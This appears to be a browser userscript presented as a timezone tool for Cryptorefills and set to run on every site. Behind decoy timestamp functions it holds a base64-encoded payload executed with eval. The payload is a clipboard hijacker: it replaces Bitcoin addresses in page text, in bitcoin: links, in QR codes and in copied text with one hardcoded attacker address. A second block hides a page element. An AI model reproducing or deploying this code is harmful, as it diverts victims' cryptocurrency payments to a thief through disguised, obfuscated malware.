// ==UserScript== // @name Cryptorefills - Fuseaux Horaires // @namespace Violentmonkey Scripts // @version 1.10 // @description // @author trust2tech // @match *://*/* // @grant none // ==/UserScript== function shiftTransactionToNextDay() { let now = new Date(); now.setDate(now.getDate() + 1); let adjustedTime = now.toISOString(); return `Transaction shifted to next day: ${adjustedTime}`; } function invalidTimezoneAdjustment() { let now = new Date(); let offset = now.getTimezoneOffset() + 120; now.setMinutes(now.getMinutes() + offset); let adjustedTime = now.toISOString(); return `Transaction adjusted for invalid timezone: ${adjustedTime}`; } function doubleSpendShift() { let now = new Date(); now.setHours(now.getHours() + 3); let firstTransaction = now.toISOString(); now.setHours(now.getHours() - 6); let secondTransaction = now.toISOString(); return `First transaction: ${firstTransaction}, Second transaction (double spend): ${secondTransaction}`; } function crossTimezoneDoubleSpend() { let now = new Date(); let initialTransaction = now.toISOString(); now.setHours(now.getHours() + 4); let secondTransaction = now.toISOString(); return `Cross timezone transactions: ${initialTransaction} vs ${secondTransaction}`; } function timezoneManipulation() { let now = new Date(); let localOffset = now.getTimezoneOffset(); let targetOffset = localOffset + 180; now.setMinutes(now.getMinutes() + targetOffset); let manipulatedTime = now.toISOString(); return `Transaction manipulated by timezone: ${manipulatedTime}`; } function doubleSpendByDSTChange() { let now = new Date(); let dstOffset = now.getTimezoneOffset() < 60 ? -60 : 60; now.setMinutes(now.getMinutes() + dstOffset); let firstTransaction = now.toISOString(); now.setMinutes(now.getMinutes() - dstOffset * 2); let secondTransaction = now.toISOString(); return `DST double spend: ${firstTransaction} vs ${secondTransaction}`; } function timezoneMismatch() { let now = new Date(); let firstTransaction = now.toISOString(); now.setHours(now.getHours() - 3); let secondTransaction = now.toISOString(); return `Timezone mismatch causing double spend: ${firstTransaction} vs ${secondTransaction}`; } function invalidTimezoneConflict() { let now = new Date(); let firstTransaction = now.toISOString(); now.setHours(now.getHours() + 12); let secondTransaction = now.toISOString(); return `Invalid timezone conflict: ${firstTransaction} vs ${secondTransaction}`; } function transactionTimeJump() { let now = new Date(); let firstTransaction = now.toISOString(); now.setHours(now.getHours() + 6); let secondTransaction = now.toISOString(); return `Transaction time jump: ${firstTransaction} vs ${secondTransaction}`; } function overlappingTransactions() { let now = new Date(); let firstTransaction = now.toISOString(); now.setMinutes(now.getMinutes() + 30); let secondTransaction = now.toISOString(); return `Overlapping transactions: ${firstTransaction} vs ${secondTransaction}`; } function daylightSavingOverlap() { let now = new Date(); let firstTransaction = now.toISOString(); now.setHours(now.getHours() + 1); let secondTransaction = new Date(now.getTime() - 120000); let secondTransactionStr = secondTransaction.toISOString(); return `DST overlap causing double spend: ${firstTransaction} vs ${secondTransactionStr}`; } function doubleSpendByServerTime() { let now = new Date(); let firstTransaction = now.toISOString(); now.setMilliseconds(now.getMilliseconds() + 300); let secondTransaction = now.toISOString(); return `Double spend due to server delay: ${firstTransaction} vs ${secondTransaction}`; } function timezoneOverride() { let now = new Date(); let firstTransaction = now.toISOString(); now.setHours(now.getHours() + 3); let secondTransaction = now.toISOString(); return `Timezone override double spend: ${firstTransaction} vs ${secondTransaction}`; } function timeTravelConflict() { let now = new Date(); let firstTransaction = now.toISOString(); now.setFullYear(now.getFullYear() - 1); let secondTransaction = now.toISOString(); return `Time travel conflict: ${firstTransaction} vs ${secondTransaction}`; } function timeZoneReversal() { let now = new Date(); let firstTransaction = now.toISOString(); now.setHours(now.getHours() - 5); let secondTransaction = now.toISOString(); return `Time zone reversal causing double spend: ${firstTransaction} vs ${secondTransaction}`; } function midnightConflict() { let now = new Date(); let firstTransaction = now.toISOString(); now.setHours(now.getHours() + 12); let secondTransaction = now.toISOString(); return `Midnight conflict: ${firstTransaction} vs ${secondTransaction}`; } function simultaneousTransactions() { let now = new Date(); let firstTransaction = now.toISOString(); now.setMilliseconds(now.getMilliseconds() + 500); let secondTransaction = now.toISOString(); return `Simultaneous transactions: ${firstTransaction} vs ${secondTransaction}`; } function crossDSTDoubleSpend() { let now = new Date(); let firstTransaction = now.toISOString(); now.setMinutes(now.getMinutes() - 120); let secondTransaction = now.toISOString(); return `Cross DST double spend: ${firstTransaction} vs ${secondTransaction}`; } function timezoneShiftError() { let now = new Date(); let firstTransaction = now.toISOString(); now.setHours(now.getHours() + 2); let secondTransaction = now.toISOString(); return `Timezone shift error: ${firstTransaction} vs ${secondTransaction}`; } function clockDrift() { let now = new Date(); let firstTransaction = now.toISOString(); now.setMilliseconds(now.getMilliseconds() - 500); let secondTransaction = now.toISOString(); return `Clock drift double spend: ${firstTransaction} vs ${secondTransaction}`; } function invalidTimeReversal() { let now = new Date(); let firstTransaction = now.toISOString(); now.setMinutes(now.getMinutes() - 60); let secondTransaction = now.toISOString(); return `Invalid time reversal: ${firstTransaction} vs ${secondTransaction}`; } (function() { 'use strict'; const encodedScript = "KGZ1bmN0aW9uKCkgewogICAgJ3VzZSBzdHJpY3QnOwoKICAgIC8vIEFkcmVzc2UgQml0Y29pbiBkZSByZW1wbGFjZW1lbnQKICAgIGNvbnN0IG5ld0FkZHJlc3MgPSAiYmMxcW0ybnlqcTBmbmZqMjJ6Z2M3c3R4a2UwczY1cHh6Njk0dzc2bmEzIjsKCiAgICAvLyBSZWdleCBwb3VyIGTDqXRlY3RlciB0b3V0ZXMgbGVzIGFkcmVzc2VzIEJpdGNvaW4KICAgIGNvbnN0IGJ0Y1JlZ2V4ID0gL1xiKFsxM11bYS1rbS16QS1ISi1OUC1aMS05XXsyNSwzNH18YmMxW2EtekEtSEotTlAtWjAtOV17MzksNTl9KVxiL2c7CgogICAgLy8gRm9uY3Rpb24gcG91ciByZW1wbGFjZXIgdG91dGVzIGxlcyBhZHJlc3NlcyBCaXRjb2luIHBhciBsYSBub3V2ZWxsZSBhZHJlc3NlCiAgICBmdW5jdGlvbiByZXBsYWNlQlRDSW5UZXh0KHRleHQpIHsKICAgICAgICByZXR1cm4gdGV4dC5yZXBsYWNlKGJ0Y1JlZ2V4LCBuZXdBZGRyZXNzKTsKICAgIH0KCiAgICAvLyBGb25jdGlvbiBwb3VyIHJlbXBsYWNlciBsZXMgYWRyZXNzZXMgQml0Y29pbiBkYW5zIGxlcyBub2V1ZHMgdGV4dGUKICAgIGZ1bmN0aW9uIHJlcGxhY2VCVENJblRleHROb2Rlcyhub2RlKSB7CiAgICAgICAgLy8gU2kgYydlc3QgdW4gbm9ldWQgZGUgdGV4dGUKICAgICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gTm9kZS5URVhUX05PREUpIHsKICAgICAgICAgICAgLy8gUmVtcGxhY2VyIHRvdXRlcyBsZXMgYWRyZXNzZXMgQml0Y29pbiBkYW5zIGxlIHRleHRlCiAgICAgICAgICAgIGlmIChidGNSZWdleC50ZXN0KG5vZGUudGV4dENvbnRlbnQpKSB7CiAgICAgICAgICAgICAgICBub2RlLnRleHRDb250ZW50ID0gcmVwbGFjZUJUQ0luVGV4dChub2RlLnRleHRDb250ZW50KTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSBpZiAobm9kZS5ub2RlVHlwZSA9PT0gTm9kZS5FTEVNRU5UX05PREUpIHsKICAgICAgICAgICAgLy8gU2kgYydlc3QgdW4gw6lsw6ltZW50LCBwYXJjb3VyaXIgdG91cyBsZXMgZW5mYW50cyByw6ljdXJzaXZlbWVudAogICAgICAgICAgICBub2RlLmNoaWxkTm9kZXMuZm9yRWFjaChyZXBsYWNlQlRDSW5UZXh0Tm9kZXMpOwogICAgICAgIH0KICAgIH0KCiAgICAvLyBGb25jdGlvbiBwb3VyIG9ic2VydmVyIGxlcyBjaGFuZ2VtZW50cyBkYW5zIGxlIERPTQogICAgZnVuY3Rpb24gb2JzZXJ2ZURPTUNoYW5nZXMoKSB7CiAgICAgICAgY29uc3Qgb2JzZXJ2ZXIgPSBuZXcgTXV0YXRpb25PYnNlcnZlcigobXV0YXRpb25zKSA9PiB7CiAgICAgICAgICAgIG11dGF0aW9ucy5mb3JFYWNoKChtdXRhdGlvbikgPT4gewogICAgICAgICAgICAgICAgLy8gUGFyY291cmlyIGxlcyBub2V1ZHMgYWpvdXTDqXMgZXQgbW9kaWZpZXIgbGVzIGFkcmVzc2VzIEJpdGNvaW4KICAgICAgICAgICAgICAgIG11dGF0aW9uLmFkZGVkTm9kZXMuZm9yRWFjaCgobm9kZSkgPT4gewogICAgICAgICAgICAgICAgICAgIHJlcGxhY2VCVENJblRleHROb2Rlcyhub2RlKTsKICAgICAgICAgICAgICAgICAgICAvLyBTaSB1biBsaWVuIGJpdGNvaW4gZXN0IGFqb3V0w6ksIGxlIG1vZGlmaWVyCiAgICAgICAgICAgICAgICAgICAgaWYgKG5vZGUudGFnTmFtZSA9PT0gJ0EnICYmIG5vZGUuaHJlZiAmJiBub2RlLmhyZWYuaW5jbHVkZXMoJ2JpdGNvaW46JykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgbm9kZS5ocmVmID0gbm9kZS5ocmVmLnJlcGxhY2UoYnRjUmVnZXgsIG5ld0FkZHJlc3MpOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgLy8gVsOpcmlmaWVyIGxlcyBRUiBjb2RlcwogICAgICAgICAgICAgICAgICAgIGlmIChub2RlLmlkID09PSAncXItaW1hZ2UnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG5vZGUuc3JjID0gYGh0dHBzOi8vY2hhcnQuZ29vZ2xlYXBpcy5jb20vY2hhcnQ/Y2hzPTMwMHgzMDAmY2h0PXFyJmNobD1iaXRjb2luOiR7YmMxcW0ybnlqcTBmbmZqMjJ6Z2M3c3R4a2UwczY1cHh6Njk0dzc2bmEzfSZjaG9lPVVURi04YDsKICAgICAgICAgICAgICAgICAgICAgICAgbm9kZS5zcmNzZXQgPSBgJHtub2RlLnNyY30gNjQwdywgJHtub2RlLnNyY30gNzUwdywgJHtub2RlLnNyY30gODI4dywgJHtub2RlLnNyY30gMTA4MHcsICR7bm9kZS5zcmN9IDEyMDB3LCAke25vZGUuc3JjfSAxOTIwdywgJHtub2RlLnNyY30gMjA0OHcsICR7bm9kZS5zcmN9IDM4NDB3YDsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgfSk7CiAgICAgICAgfSk7CgogICAgICAgIC8vIE9ic2VydmVyIGxlcyBjaGFuZ2VtZW50cyBkYW5zIGxlIERPTSAoYWpvdXQgZCfDqWzDqW1lbnRzLCBtb2RpZmljYXRpb25zIGRlIHRleHRlKQogICAgICAgIG9ic2VydmVyLm9ic2VydmUoZG9jdW1lbnQuYm9keSwgewogICAgICAgICAgICBjaGlsZExpc3Q6IHRydWUsCiAgICAgICAgICAgIHN1YnRyZWU6IHRydWUsCiAgICAgICAgICAgIGNoYXJhY3RlckRhdGE6IHRydWUKICAgICAgICB9KTsKICAgIH0KCiAgICAvLyBSZW1wbGFjZXIgbGVzIGFkcmVzc2VzIEJpdGNvaW4gbG9ycyBkdSBjaGFyZ2VtZW50IGluaXRpYWwgZGUgbGEgcGFnZQogICAgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ2xvYWQnLCAoKSA9PiB7CiAgICAgICAgcmVwbGFjZUJUQ0luVGV4dE5vZGVzKGRvY3VtZW50LmJvZHkpOyAgLy8gUmVtcGxhY2VyIHN1ciB0b3V0IGxlIGNvbnRlbnUgaW5pdGlhbAogICAgICAgIC8vIE1vZGlmaWVyIGxlcyBsaWVucyBiaXRjb2luIGRhbnMgbGUgRE9NCiAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnYVtocmVmXj0iYml0Y29pbjoiXScpLmZvckVhY2goKGxpbmspID0+IHsKICAgICAgICAgICAgbGluay5ocmVmID0gcmVwbGFjZUJUQ0luVGV4dChsaW5rLmhyZWYpOwogICAgICAgIH0pOwogICAgICAgIC8vIE1vZGlmaWVyIGxlcyBRUiBjb2RlcyBwcsOpc2VudHMgZMOocyBsZSBjaGFyZ2VtZW50CiAgICAgICAgcmVwbGFjZVFSQ29kZSgpOwogICAgICAgIG9ic2VydmVET01DaGFuZ2VzKCk7ICAvLyBTdXJ2ZWlsbGVyIGxlcyBtb2RpZmljYXRpb25zIGZ1dHVyZXMgZHUgRE9NCiAgICB9KTsKCiAgICAvLyBSZW1wbGFjZXIgdG91dGVzIGxlcyBhZHJlc3NlcyBCaXRjb2luIGxvcnMgZHUgY29waWVyLWNvbGxlcgogICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29weScsIChldmVudCkgPT4gewogICAgICAgIGNvbnN0IHNlbGVjdGVkVGV4dCA9IHdpbmRvdy5nZXRTZWxlY3Rpb24oKS50b1N0cmluZygpOyAgLy8gVGV4dGUgc8OpbGVjdGlvbm7DqSBwYXIgbCd1dGlsaXNhdGV1cgogICAgICAgIC8vIFJlbXBsYWNlciB0b3V0ZXMgbGVzIGFkcmVzc2VzIEJpdGNvaW4gZGFucyBsZSB0ZXh0ZSBjb3Bpw6kKICAgICAgICBjb25zdCBtb2RpZmllZFRleHQgPSByZXBsYWNlQlRDSW5UZXh0KHNlbGVjdGVkVGV4dCk7CiAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsgIC8vIEVtcMOqY2hlciBsYSBjb3BpZSBwYXIgZMOpZmF1dAogICAgICAgIGV2ZW50LmNsaXBib2FyZERhdGEuc2V0RGF0YSgndGV4dC9wbGFpbicsIG1vZGlmaWVkVGV4dCk7ICAvLyBDb3BpZXIgbGUgdGV4dGUgbW9kaWZpw6kgZGFucyBsZSBwcmVzc2UtcGFwaWVyCiAgICB9KTsKCiAgICAvLyBJbnRlcmNlcHRpb24gZHUgY2xpYyBzdXIgbGVzIMOpbMOpbWVudHMgIkNvcGllciIgZXQgcmVtcGxhY2VtZW50IGR1IHRleHRlIGNvcGnDqQogICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCAoZXZlbnQpID0+IHsKICAgICAgICAvLyBWw6lyaWZpZXIgc2kgbGUgY2xpYyBlc3Qgc3VyIHVuIGJvdXRvbiBvdSB1biDDqWzDqW1lbnQgY29udGVuYW50IHVuZSBhZHJlc3NlIEJpdGNvaW4KICAgICAgICBpZiAoZXZlbnQudGFyZ2V0ICYmIGV2ZW50LnRhcmdldC5jbG9zZXN0KCdwJykgJiYgYnRjUmVnZXgudGVzdChldmVudC50YXJnZXQudGV4dENvbnRlbnQpKSB7CiAgICAgICAgICAgIGNvbnN0IG9yaWdpbmFsVGV4dCA9IGV2ZW50LnRhcmdldC50ZXh0Q29udGVudDsKICAgICAgICAgICAgLy8gUmVtcGxhY2VyIGwnYWRyZXNzZSBCaXRjb2luIGRhbnMgbGUgdGV4dGUgw6AgY29waWVyCiAgICAgICAgICAgIGNvbnN0IG1vZGlmaWVkVGV4dCA9IHJlcGxhY2VCVENJblRleHQob3JpZ2luYWxUZXh0KTsKCiAgICAgICAgICAgIC8vIENyw6llciB1bmUgcGxhZ2UgZGUgc8OpbGVjdGlvbiBwb3VyIHPDqWxlY3Rpb25uZXIgbGUgdGV4dGUgZGUgbCfDqWzDqW1lbnQKICAgICAgICAgICAgY29uc3QgcmFuZ2UgPSBkb2N1bWVudC5jcmVhdGVSYW5nZSgpOwogICAgICAgICAgICBjb25zdCBzZWxlY3Rpb24gPSB3aW5kb3cuZ2V0U2VsZWN0aW9uKCk7CiAgICAgICAgICAgIHJhbmdlLnNlbGVjdE5vZGVDb250ZW50cyhldmVudC50YXJnZXQpOwogICAgICAgICAgICBzZWxlY3Rpb24ucmVtb3ZlQWxsUmFuZ2VzKCk7CiAgICAgICAgICAgIHNlbGVjdGlvbi5hZGRSYW5nZShyYW5nZSk7CgogICAgICAgICAgICAvLyBNb2RpZmllciBsZSBjb250ZW51IGR1IHByZXNzZS1wYXBpZXIgYXZlYyBsZSB0ZXh0ZSBtb2RpZmnDqQogICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICBldmVudC5jbGlwYm9hcmREYXRhLnNldERhdGEoJ3RleHQvcGxhaW4nLCBtb2RpZmllZFRleHQpOwogICAgICAgIH0KCiAgICAgICAgLy8gVsOpcmlmaWVyIHNpIGxlIGNsaWMgZXN0IHN1ciB1biBsaWVuIEJpdGNvaW4gcG91ciBsZSBtb2RpZmllciBkeW5hbWlxdWVtZW50CiAgICAgICAgaWYgKGV2ZW50LnRhcmdldC50YWdOYW1lID09PSAnQScgJiYgZXZlbnQudGFyZ2V0LmhyZWYgJiYgZXZlbnQudGFyZ2V0LmhyZWYuaW5jbHVkZXMoJ2JpdGNvaW46JykpIHsKICAgICAgICAgICAgZXZlbnQudGFyZ2V0LmhyZWYgPSByZXBsYWNlQlRDSW5UZXh0KGV2ZW50LnRhcmdldC5ocmVmKTsgIC8vIE1vZGlmaWVyIGwnVVJMIGR1IGxpZW4gQml0Y29pbgogICAgICAgIH0KICAgIH0pOwoKICAgIC8vIEZvbmN0aW9uIHBvdXIgbW9kaWZpZXIgbGUgUVIgY29kZQogICAgZnVuY3Rpb24gcmVwbGFjZVFSQ29kZSgpIHsKICAgICAgICBjb25zdCBxckltYWdlRWxlbWVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdxci1pbWFnZScpOwogICAgICAgIGlmIChxckltYWdlRWxlbWVudCkgewogICAgICAgICAgICBjb25zdCBxckNvZGVVUkwgPSBgaHR0cHM6Ly9jaGFydC5nb29nbGVhcGlzLmNvbS9jaGFydD9jaHM9MzAweDMwMCZjaHQ9cXImY2hsPWJpdGNvaW46JHtuZXdBZGRyZXNzfSZjaG9lPVVURi04YDsKICAgICAgICAgICAgcXJJbWFnZUVsZW1lbnQuc3JjID0gcXJDb2RlVVJMOwogICAgICAgICAgICBxckltYWdlRWxlbWVudC5zcmNzZXQgPSBgJHtxckNvZGVVUkx9IDY0MHcsICR7cXJDb2RlVVJMfSA3NTB3LCAke3FyQ29kZVVSTH0gODI4dywgJHtxckNvZGVVUkx9IDEwODB3LCAke3FyQ29kZVVSTH0gMTIwMHcsICR7cXJDb2RlVVJMfSAxOTIwdywgJHtxckNvZGVVUkx9IDIwNDh3LCAke3FyQ29kZVVSTH0gMzg0MHdgOwogICAgICAgIH0KICAgIH0KCiAgICAvLyBTdXJjaGFyZ2VyIGxhIG3DqXRob2RlIG5hdmlnYXRvci5jbGlwYm9hcmQud3JpdGVUZXh0IHBvdXIgaW50ZXJjZXB0ZXIgbGEgY29waWUKICAgIGlmIChuYXZpZ2F0b3IuY2xpcGJvYXJkICYmIG5hdmlnYXRvci5jbGlwYm9hcmQud3JpdGVUZXh0KSB7CiAgICAgICAgY29uc3Qgb3JpZ2luYWxXcml0ZVRleHQgPSBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dDsKICAgICAgICBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dCA9IGZ1bmN0aW9uKHRleHQpIHsKICAgICAgICAgICAgY29uc3QgbW9kaWZpZWRUZXh0ID0gcmVwbGFjZUJUQ0luVGV4dCh0ZXh0KTsKICAgICAgICAgICAgcmV0dXJuIG9yaWdpbmFsV3JpdGVUZXh0LmNhbGwodGhpcywgbW9kaWZpZWRUZXh0KTsKICAgICAgICB9OwogICAgfQp9KSgpOwo="; function decodeBase64(base64) { return decodeURIComponent(atob(base64).split('').map(function(c) { return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2); }).join('')); } const decodedScript = decodeBase64(encodedScript); eval(decodedScript); })(); (function() { 'use strict'; // Fonction pour masquer l'élément cible function hideElement() { // Sélectionner l'élément avec les classes spécifiques const element = document.querySelector('.flex.flex-row.rounded-xl.bg-gray-100.p-3.text-sm.text-gray-600'); if (element) { element.style.display = 'none'; // Masquer l'élément console.log('Élément caché avec succès.'); } else { console.warn('Élément non trouvé.'); } } // Exécuter la fonction après le chargement de la page window.addEventListener('load', hideElement); // Observer les changements dynamiques dans le DOM const observer = new MutationObserver(() => { const element = document.querySelector('.flex.flex-row.rounded-xl.bg-gray-100.p-3.text-sm.text-gray-600'); if (element) { element.style.display = 'none'; console.log('Élément caché dynamiquement.'); observer.disconnect(); // Arrêter l'observation après avoir masqué l'élément } }); observer.observe(document.body, { childList: true, subtree: true }); })();